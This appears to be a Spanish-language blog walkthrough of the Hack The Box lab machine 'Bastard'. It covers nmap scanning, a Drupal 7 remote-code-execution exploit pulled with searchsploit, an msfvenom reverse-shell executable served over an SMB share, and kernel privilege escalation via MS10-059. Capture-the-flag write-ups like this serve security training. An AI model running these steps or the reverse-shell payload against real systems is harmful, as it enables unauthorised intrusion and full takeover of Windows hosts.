Hack The Box: Bastard (Windows, Media)

Introducción

Bastard es una máquina Windows de nivel medio donde se ejecuta una instancia de Drupal con múltiples vulnerabilidades. En concreto, utilizaremos una vulnerabilidad de RCE para poder cargar un archivo vulnerable en el sistema objetivo que nos permite ejecutar comandos remotos. Posteriormente, generaremos un archivo ejecutable exe que nos permitirá entablar una shell reversa. Para escalar privilegios, utilizaremos la vulnerabilidad con código MS10-059 que aprovecha un error de kernel para obtener privilegios máximos en la máquina objetivo.

Enumeración

Enumeración de servicios abiertos

Comenzamos la resolución de la máquina Bastard enumerando los servicios abiertos en el objetivo. Comenzamos con la enumeración rápida de servicios.

nmap -p- --open --min-rate 2000 -Pn -n 10.10.10.9

Dos puertos abiertos: 80 y 135. Vamos a escanear de forma profunda estos dos puertos.

nmap -p80,135 -Pn -n --min-rate 2000 -sVC 10.10.10.9

Enumeración Web

La máquina Bastard estaba ejecutando un servidor Web en el puerto 80. Vamos a enumerar su contenido.

Se está ejecutando un CMS Drupal.
No hay nada interesante en el código fuente de este formulario de inicio de sesión.

En la enumeración de NMAP encontramos los siguientes archivos disponibles

Dentro del archivo robots.txt volvemos a encontrar los mismos archivos enumerados durante el escaneo con NMAP.
Vamos a ver el contenido del archivo /CHANGELOG.txt

Tenemos la versión de la última instalación de Drupal ejecutada. Esta versión es vulnerable.

searchsploit drupal 7

Explotación

Existen múltiples exploits para esta versión de Drupal. Vamos a utilizar el exploit para Drupal 7.x.

searchsploit -m php/webapps/41564.php

Para utilizar este script PHP necesitamos hacer 2 cosas:

  • Debemos instalar el paquete php-curl
  • Modificar el script para adaptarlo nuestras necesidades. Modificamos las siguientes líneas, IP con nuestra máquina de destino, valor de punto final que podemos obtener fácilmente usando dirsearch y, finalmente, el contenido de la shell que vamos a enviar al objetivo.
    Modificamos el script:

Una vez completada la modificación, ejecutamos de la siguiente manera:

php 41564.php

Una vez ejecutado, nos vamos al navegador para comprobar si se ha ejecutado correctamente.

Nos permite ejecutar comandos. Vamos a aprovechar esto para tratar de cargar un archivo ejecutable malicioso. Este ejecutable lo creamos de la siguiente manera:

msfvenom -p windows/shell_reverse_tcp LHOST=10.10.16.6 LPORT=1337 -f exe > shell.exe

Ahora para enviar este archivo a la máquina objetivo, vamos a utilizar un servidor SMB. Para ello, utilizamos la herramienta impacket-smbserver.

impacket-smbserver share .

Ahora en el navegador ejecutamos de la siguiente manera:

Tenemos acceso a la máquina objetivo pero no tenemos privilegios system. Lo que si vamos a hacer es buscar la flag de usuario de bajos privilegios.

Elevación de privilegios

Para la escalada de privilegios, vamos a comenzar por obtener información del sistema ejecutando el comando systeminfo para posteriormente utilizar la herramienta Windows Exploit Suggester.

Copiamos este contenido en un archivo txt para poder utilizarlo en la herramienta Windows Exploit Suggester.
Ejecutamos Windows Exploit Suggester de la siguiente manera:

python2 windows-exploit-suggester.py --database 2023-06-16-mssb.xls --systeminfo bastard.txt

Vamos a utilizar la vulnerabilidad MS10-059 para tratar de elevar privilegios. Descargamos el exploit desde aquí.
Para enviar este ejecutable a la máquina víctima utilizando el mismo servidor SMB que levantamos anteriormente.

Obtenemos acceso a la máquina objetivo con privilegios máximos. El siguiente paso será buscar la flag root.txt


No responses yet

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *